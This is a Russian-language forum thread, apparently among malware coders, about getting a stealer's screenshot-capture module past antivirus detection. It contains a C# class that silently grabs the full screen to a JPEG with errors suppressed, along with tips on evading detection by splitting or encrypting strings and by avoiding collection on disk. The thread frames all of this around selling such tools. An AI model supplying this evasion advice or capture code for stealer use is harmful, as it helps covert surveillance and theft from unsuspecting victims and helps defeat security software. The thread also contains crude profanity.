MORTY, нет) уже пытался, я имена переменных редактировал, пытался кусками через "+" - но нет, все равно детектит
Path.Combine(eor_Dir, "ScreenShot.jpg"), ...) Code Path.Combine(eor_Dir, "ScreenShot.jpg"), ...) или через string.Concat(...) Code string.Concat(...) а ещё зашифровать строки
using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Windows.Forms; public static class ScreenShot { private static readonly string CurrDir = Environment.CurrentDirectory; // Текущая директория private static readonly string PathSave = Path.Combine(CurrDir, "Screen.jpg"); // Путь куда сохранять и файл /// <summary> /// Метод для сохранения скриншота всего экрана /// </summary> /// <param name="save">Путь до сохранения файла</param> public static void GetData(string save) { int width = Screen.PrimaryScreen.Bounds.Width, height = Screen.PrimaryScreen.Bounds.Height; try { using var bitmap = new Bitmap(width, height); using var graph = Graphics.FromImage(bitmap); graph.CopyFromScreen(0, 0, 0, 0, bitmap.Size); bitmap?.Save(save, ImageFormat.Jpeg); // Или сразу можешь тут записать сохранение // bitmap?.Save(PathSave, ImageFormat.Jpeg); } catch { } } } Code using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Windows.Forms; public static class ScreenShot { private static readonly string CurrDir = Environment.CurrentDirectory; // Текущая директория private static readonly string PathSave = Path.Combine(CurrDir, "Screen.jpg"); // Путь куда сохранять и файл /// <summary> /// Метод для сохранения скриншота всего экрана /// </summary> /// <param name="save">Путь до сохранения файла</param> public static void GetData(string save) { int width = Screen.PrimaryScreen.Bounds.Width, height = Screen.PrimaryScreen.Bounds.Height; try { using var bitmap = new Bitmap(width, height); using var graph = Graphics.FromImage(bitmap); graph.CopyFromScreen(0, 0, 0, 0, bitmap.Size); bitmap?.Save(save, ImageFormat.Jpeg); // Или сразу можешь тут записать сохранение // bitmap?.Save(PathSave, ImageFormat.Jpeg); } catch { } } } Если версия C# не 8.0- а ниже, то запиши так: /// <summary> /// Метод для сохранения скриншота всего экрана /// </summary> /// <param name="save">Путь до сохранения файла</param> public static void GetData(string save) { int width = Screen.PrimaryScreen.Bounds.Width, height = Screen.PrimaryScreen.Bounds.Height; try { using (var bitmap = new Bitmap(width, height)) { using (var graph = Graphics.FromImage(bitmap)) { graph.CopyFromScreen(0, 0, 0, 0, bitmap.Size); bitmap?.Save(save, ImageFormat.Jpeg); // Или сразу можешь тут записать сохранение // bitmap?.Save(PathSave, ImageFormat.Jpeg); } } } catch { } } Code /// <summary> /// Метод для сохранения скриншота всего экрана /// </summary> /// <param name="save">Путь до сохранения файла</param> public static void GetData(string save) { int width = Screen.PrimaryScreen.Bounds.Width, height = Screen.PrimaryScreen.Bounds.Height; try { using (var bitmap = new Bitmap(width, height)) { using (var graph = Graphics.FromImage(bitmap)) { graph.CopyFromScreen(0, 0, 0, 0, bitmap.Size); bitmap?.Save(save, ImageFormat.Jpeg); // Или сразу можешь тут записать сохранение // bitmap?.Save(PathSave, ImageFormat.Jpeg); } } } catch { } }
r3xq1, думаешь поможет сбросить детекты? кстати странно, чё ав ругается. Тут же по сути даже вредоносного кода нету. Просто сохранение скриншота.
прочитай что такое скантайм и рантайм и от чего он зависит. Ибо делать сбор на диске - это пизда как хуево. Все кодеры с лзт, которые делали сбор на диске по типу нам XFiles-*******(ебаная хуня), они все нахуй оказались в заднице по продажам и по репутации. Тут нахуй даже не важно какой и тебя детект, (хоть 0/36), похуй. Ав и так арать будут если сбор на диске.